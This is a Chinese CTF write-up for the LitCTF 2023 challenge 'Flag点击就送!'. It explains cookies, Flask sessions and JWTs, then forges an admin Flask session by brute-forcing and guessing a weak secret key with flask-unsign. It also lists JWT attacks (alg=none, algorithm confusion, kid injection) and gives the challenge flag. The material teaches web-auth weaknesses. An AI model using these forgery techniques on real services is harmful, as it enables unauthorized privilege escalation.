[LitCTF 2023]Flag点击就送!(cookie伪造)
前置知识
分清几个概念:
- Cookie:浏览器里的一个小文本文件,由服务器发给客户端,每次请求会自动带上。它本身只是个存储载体,不负责安全,常被用来存Session ID或JWT。
Set-Cookie: session=abc123; HttpOnly; Path=/
CTF 攻击方式:
Cookie 篡改:明文 cookie 直接改(如 role=guest → role=admin)
Cookie 注入:在输入框注入 cookie 内容(少见)
- Session:服务端存储的用户状态数据。用户登录后,服务端生成一个唯一的Session ID,返回给浏览器存到Cookie里。后续请求带上这个ID,服务端就知道是谁了。关键:数据在服务端,客户端只有ID。
客户端: sessionid=abc123
服务端: {abc123: {user: "admin", role: "admin"}}
但是,本题是Flask Session(特例!)
Flask 不走传统服务端存储,而是把 整个 session 数据加密签名后塞 cookie 里:
伪造方法:
1. 解码看看内容
flask-unsign --decode --cookie "<cookie值>"
→ {'name': 'test'}
2. 爆破密钥
flask-unsign --unsign --cookie "<cookie值>" --wordlist wordlist.txt
3. 找到密钥后伪造
flask-unsign --sign --cookie "{'role': 'admin'}" --secret "***"
4. 带上伪造 cookie 请求python脚本:
from flask_unsign import sign, unsign
from itsdangerous import URLSafeTimedSerializer
# 爆出来的密钥
s = URLSafeTimedSerializer('LitCTF', salt='cookie-session')
# 伪造
fake = s.dumps({'name': 'admin'})- JWT (JSON Web Token):一种自包含的Token格式,长得像xxxxx.yyyyy.zzzzz,里面直接存了用户信息(比如{“user”: “admin”, “exp”: 1735689600})和签名。服务器无需查数据库,只要验证签名有效、没过期,就信任里面的内容。

和 Flask Session 看起来很像,但不一样!
JWT 伪造方法:
① 弱密钥爆破(同 Flask session)
pip install pyjwt
jwt_tool eyJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiZ3Vlc3RifX0 -C -d wordlist.txt② alg=none 攻击
把 header 的 alg 改成 none,服务端如果没校验签名就过了:
{"alg": "none", "typ": "JWT"}③ 算法混淆(RS256 → HS256)
服务端用 RSA 公钥验签(RS256),你拿着公钥当 HMAC 密钥签(HS256),如果服务端没校验算法类型就中招。
④ kid 注入
kid(key ID)指向文件路径 → 改成 /dev/null 或可控文件。
- Token:一个广义的凭证字符串,代表某种权限。通常是服务端生成后发给客户端,客户端在后续请求的Authorization头里带上它。本质:一切"拿着它就能证明身份"的东西。
总结一句话:
Cookie 是信封,Session/JWT/Token 是信的内容。
Flask Session 把信加密后放在信封里,你要找钥匙(密钥)才能伪造。
JWT 也是加密的信,但多了个 header 能玩更多花样(alg:none、算法混淆)
本题题解
Step 1 — 访问页面
看到"欢迎参加LitCTF,告诉我你的名字吧",一个输入框。
Step 2 — 提交名字
POST /hello提交name=test,返回"欢迎test师傅"和一个"拿flag"按钮,同时用bp抓包返回了 session cookie:
session=eyJuYW1lIjoidGVzdCJ9.agb1VA.2cW8cj2i_iTl-MuP0AZuZLa7RV4Step 3 — 解码 session
Flask session 是 base64(payload).timestamp.signature 格式:
base64_decode("eyJuYW1lIjoidGVzdCJ9")
→ {"name":"test"}Step 4 — 尝试拿 flag
直接访问 /flag → "只有管理员才能拿flag耶"
Step 5 — Flask session 伪造
需要把name: test 改成 name: admin,但需要知道 SECRET_KEY 来签名。
用 flask-unsign 爆破密钥:
flask-unsign --unsign --cookie "<session值>" --wordlist wordlists/all.txt但默认字典没扫出来。于是直接猜 CTF 常见套路——
密钥就是题目本身的名字:LitCTF
Step 6 — 伪造签名
from flask_unsign import sign
signed = sign({'name': 'admin'}, 'LitCTF')
eyJuYW1lIjoiYWRtaW4ifQ.agb1jQ.QddqRi6wxyFskFa5f-fn47wYkH8Step 7 — 拿 flag
curl -b "session=<伪造的session>" http://.../flag
# → NSSCTF{341b0f3b-0288-47cb-a567-53e2ec41cae8}总结
| 考点 | 说明 |
|---|---|
| Flask Session 机制 | 数据存在客户端 cookie,用 SECRET_KEY 签名防篡改 |
| Cookie 伪造 | 拿到密钥就能伪造任意 session 内容 |
| 弱密钥猜解 | CTF 中密钥常设为题目名、人名、secret 等弱值 |




